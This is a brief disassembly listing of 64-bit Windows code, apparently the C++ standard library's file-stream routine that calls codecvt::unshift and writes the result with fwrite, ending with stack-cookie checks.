call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140052624
sub eax, 1
je 0x140052628
cmp eax, 2
jne 0x14005265f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400ca400
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140052656
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14005265f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14005260c
xor al, al
jmp 0x14005260c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400ca400
add rsp, 0x60
pop rbx
ret